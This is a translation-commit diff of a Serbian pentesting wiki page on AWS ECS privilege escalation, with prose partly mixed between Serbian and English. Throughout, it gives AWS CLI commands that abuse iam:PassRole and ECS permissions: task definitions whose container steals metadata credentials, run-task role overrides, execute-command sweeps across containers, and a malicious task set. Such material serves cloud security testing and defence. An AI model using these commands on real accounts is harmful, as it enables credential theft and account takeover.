Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat

This commit is contained in:
Translator
2025-09-04 23:49:27 +00:00
parent 15970889f5
commit e230a6128d
4 changed files with 106 additions and 106 deletions

View File

@@ -12,7 +12,7 @@ Više **informacija o ECS** u:
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS-u može **generisati novu task definiciju** sa **zlonamernim kontejnerom** koji krade metadata kredencijale i **pokrenuti je**.
Napadač koji zloupotrebljava `iam:PassRole`, `ecs:RegisterTaskDefinition` i `ecs:RunTask` dozvole u ECS može **generisati novu task definition** sa **malicious container-om** koji krade metadata credentials i **pokrenuti je**.
{{#tabs }}
{{#tab name="Reverse Shell" }}
@@ -75,19 +75,19 @@ aws ecs deregister-task-definition --task-definition iam_exfiltration:1
{{#endtabs }}
**Potencijalni uticaj:** Direktan privesc na drugu ECS ulogu.
**Potential Impact:** Direktan privesc na drugu ECS ulogu.
### `iam:PassRole`,`ecs:RunTask`
Napadač koji ima dozvole `iam:PassRole` i `ecs:RunTask` može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` (CLI) sadrži flag `--overrides` koji omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez menjanja task definition.
Napadač koji ima `iam:PassRole` i `ecs:RunTask` dozvole može pokrenuti novi ECS task sa izmenjenim vrednostima **execution role**, **task role** i **command** kontejnera. Komanda `ecs run-task` u CLI sadrži opciju `--overrides` koja omogućava promenu u runtime-u `executionRoleArn`, `taskRoleArn` i `command` kontejnera bez izmene task definition.
Navedene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju u svojoj trust policy dozvoliti da ih `ecs-tasks.amazonaws.com` preuzme.
Naznačene IAM uloge za `taskRoleArn` i `executionRoleArn` moraju dozvoljavati da ih preuzme `ecs-tasks.amazonaws.com` u svojoj politici poverenja.
Takođe, napadač treba da zna:
- ime ECS klastera
- Ime ECS klastera
- VPC Subnet
- Security group (Ako security group nije navedena, koristiće se podrazumevana)
- Task Definition name i revizija
- ime kontejnera
- Security group (Ako nije navedena, koristiće se podrazumevana)
- Ime Task Definition-a i revizija
- Ime kontejnera
```bash
aws ecs run-task \
--cluster <cluster-name> \
@@ -105,9 +105,9 @@ aws ecs run-task \
]
}'
```
U gornjem isječku koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u definiciji taska da bi napad bio moguć.
U gornjem primeru koda napadač menja samo vrednost `taskRoleArn`. Međutim, napadač mora imati dozvolu `iam:PassRole` nad `taskRoleArn` navedenim u komandi i nad `executionRoleArn` navedenim u task definition da bi napad bio moguć.
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR sliku i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`,`ecr:BatchGetImage`,`ecr:GetAuthorizationToken`), onda napadač može navesti istu IAM ulogu za oba `executionRoleArn` i `taskRoleArn` u `ecs run-task` komandi.
Ako IAM role koju napadač može proslediti ima dovoljno privilegija da povuče ECR image i pokrene ECS task (`ecr:BatchCheckLayerAvailability`, `ecr:GetDownloadUrlForLayer`, `ecr:BatchGetImage`, `ecr:GetAuthorizationToken`), napadač može navesti istu IAM rolu za oba `executionRoleArn` i `taskRoleArn` u komandi `ecs run-task`.
```sh
aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-configuration "awsvpcConfiguration={subnets=[<subnet-id>],securityGroups=[<security-group-id>],assignPublicIp=ENABLED}" --task-definition <task-definition:revision> --overrides '
{
@@ -121,12 +121,12 @@ aws ecs run-task --cluster <cluster-name> --launch-type FARGATE --network-config
]
}'
```
**Potential Impact:** Direktan privesc na bilo koju ECS task rolu.
**Potencijalni uticaj:** Direct privesc to any ECS task role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava permisije **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** u ECS-u može **generisati novu task definition** sa **malicioznim kontejnerom** koji krade metadata credentials i **pokrenuti je**.\
Međutim, u ovom slučaju potreban je container instance da bi se pokrenula maliciozna task definition.
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** dozvole u ECS može da **generate a new task definition** sa **malicious container** koji krade **metadata credentials** i da ga **run it**.\
Međutim, u ovom slučaju, potrebna je container instance da bi se malicious task definition pokrenuo.
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -142,11 +142,12 @@ aws ecs start-task --task-definition iam_exfiltration \
## You need to remove all the versions (:1 is enough if you just created one)
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
```
**Potencijalni uticaj:** Direktan privesc na bilo koju ECS rolu.
**Potencijalni uticaj:** Direct privesc to any ECS role.
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
Baš kao u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS-u može da generiše novu task definiciju sa malicioznim kontejnerom koji krade metadata kredencijale i pokrene je kreiranjem novog servisa sa najmanje jednim task-om koji radi.
Kao i u prethodnom primeru, napadač koji zloupotrebljava **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** ili **`ecs:CreateService`** dozvole u ECS može **generisati novu task definition** sa **malicioznim containerom** koji krade **metadata credentials** i **pokrenuti je kreiranjem novog servisa sa najmanje jednim taskom koji radi.**
```bash
# Generate task definition with rev shell
aws ecs register-task-definition --family iam_exfiltration \
@@ -173,7 +174,7 @@ aws ecs update-service --cluster <CLUSTER NAME> \
### `iam:PassRole`, (`ecs:UpdateService|ecs:CreateService)`
Zapravo, samo sa tim dozvolama moguće je koristiti overrides da izvršite proizvoljne komande u kontejneru sa proizvoljnom ulogom koristeći nešto poput:
Zapravo, samo sa tim dozvolama moguće je, koristi overrides, izvršiti proizvoljne komande u kontejneru sa proizvoljnom ulogom, nešto poput:
```bash
aws ecs run-task \
--task-definition "<task-name>" \
@@ -181,16 +182,16 @@ aws ecs run-task \
--cluster <cluster-name> \
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
```
**Potencijalni uticaj:** Direct privesc to any ECS role.
**Potential Impact:** Direktan privesc na bilo koju ECS ulogu.
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Ovaj scenarij je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje interesantno zato što, ako možete pokrenuti proizvoljan container, čak i bez role, mogli biste **pokrenuti privilegovani container da pobegnete** na node i **ukrasti EC2 IAM rolu** i **role drugih ECS containera** koji se izvršavaju na node-u.\
Možete čak i **prisiliti druge tasks da se pokrenu unutar EC2 instance** koju kompromitujete kako biste ukrali njihove credentials (kao što je opisano u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
Ovaj scenario je sličan prethodnim, ali **bez** dozvole **`iam:PassRole`**.\
Ovo je i dalje interesantno jer, ako možete pokrenuti proizvoljan kontejner, čak i ako je bez uloge, mogli biste **pokrenuti privilegovani kontejner da pobegnete** na čvor i **ukrasti EC2 IAM ulogu** i **uloge drugih ECS kontejnera** koji se izvršavaju na čvoru.\
Mogli biste čak i naterati druge taskove da se pokrenu unutar EC2 instance koju kompromitujete kako biste ukrali njihove credentials (kao što je objašnjeno u [**Privesc to node section**](aws-ecs-post-exploitation.md#privesc-to-node)).
> [!WARNING]
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance, a ne Fargate.
> Ovaj napad je moguć samo ako **ECS cluster koristi EC2** instance i ne Fargate.
```bash
printf '[
{
@@ -233,12 +234,12 @@ aws ecs run-task --task-definition iam_exfiltration \
```
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog containera i eksfiltrirati IAM role prikačenu na njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
Napadač koji ima **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** može **izvršavati komande** unutar pokrenutog kontejnera i eksfiltrirati IAM rolu vezanu za njega (potrebne su describe dozvole jer su neophodne za pokretanje `aws ecs execute-command`).\
Međutim, da bi se to uradilo, container instance mora da pokreće **ExecuteCommand agent** (što po defaultu nije).
Stoga napadač može pokušati da:
Stoga napadač može pokušati:
- **Pokušati pokrenuti komandu** u svakom pokrenutom containeru
- **Pokušati izvršiti komandu** u svakom pokrenutom kontejneru
```bash
# List enableExecuteCommand on each task
for cluster in $(aws ecs list-clusters | jq .clusterArns | grep '"' | cut -d '"' -f2); do
@@ -263,11 +264,11 @@ aws ecs execute-command --interactive \
Možete pronaći **primere tih opcija** u **prethodnim ECS privesc sekcijama**.
**Potential Impact:** Privesc to a different role attached to containers.
**Potencijalni uticaj:** Privesc na drugu rolu pridruženu kontejnerima.
### `ssm:StartSession`
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc to ECS**:
Pogledajte na **ssm privesc page** kako možete zloupotrebiti ovu dozvolu da **privesc na ECS**:
{{#ref}}
aws-ssm-privesc.md
@@ -275,7 +276,7 @@ aws-ssm-privesc.md
### `iam:PassRole`, `ec2:RunInstances`
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc to ECS**:
Pogledajte na **ec2 privesc page** kako možete zloupotrebiti ove dozvole da **privesc na ECS**:
{{#ref}}
aws-ec2-privesc.md
@@ -283,17 +284,16 @@ aws-ec2-privesc.md
### `ecs:RegisterContainerInstance`, `ecs:DeregisterContainerInstance`, `ecs:StartTask`, `iam:PassRole`
An attacker with these permissions could potentially register an EC2 instance in an ECS cluster and run tasks on it. Ovo bi moglo omogućiti attacker-u da izvrši proizvoljan kod u kontekstu ECS taskova.
- TODO: Is it possible to register an instance from a different AWS account so tasks are run under machines controlled by the attacker??
Attacker sa ovim dozvolama mogao bi potencijalno registrovati EC2 instancu u ECS klasteru i pokrenuti tasks na njoj. To bi attacker-u omogućilo izvršavanje proizvoljnog koda u kontekstu ECS tasks.
- TODO: Da li je moguće registrovati instancu iz drugog AWS account-a tako da se tasks pokreću na mašinama koje kontroliše attacker??
### `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, `ecs:DescribeTaskSets`
> [!NOTE]
> TODO: Test this
An attacker with the permissions `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, and `ecs:DescribeTaskSets` can **create a malicious task set for an existing ECS service and update the primary task set**. Ovo omogućava attacker-u da izvrši proizvoljan kod unutar servisa.
Attacker sa dozvolama `ecs:CreateTaskSet`, `ecs:UpdateServicePrimaryTaskSet`, i `ecs:DescribeTaskSets` može **kreirati malicious task set za postojeću ECS service i ažurirati primary task set**. Ovo omogućava attacker-u da **izvrši proizvoljni kod unutar servisa**.
```bash
# Register a task definition with a reverse shell
echo '{
@@ -319,9 +319,9 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
# Update the primary task set for the service
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
```
**Potencijalni uticaj**: Izvršavanje proizvoljnog koda u pogođenom servisu, što može uticati na njegovu funkcionalnost ili dovesti do eksfiltracije osetljivih podataka.
**Potencijalni uticaj**: Execute arbitrary code u pogođenoj usluzi, potencijalno utičući na njenu funkcionalnost ili exfiltrating sensitive data.
## Reference
## References
- [https://ruse.tech/blogs/ecs-attack-methods](https://ruse.tech/blogs/ecs-attack-methods)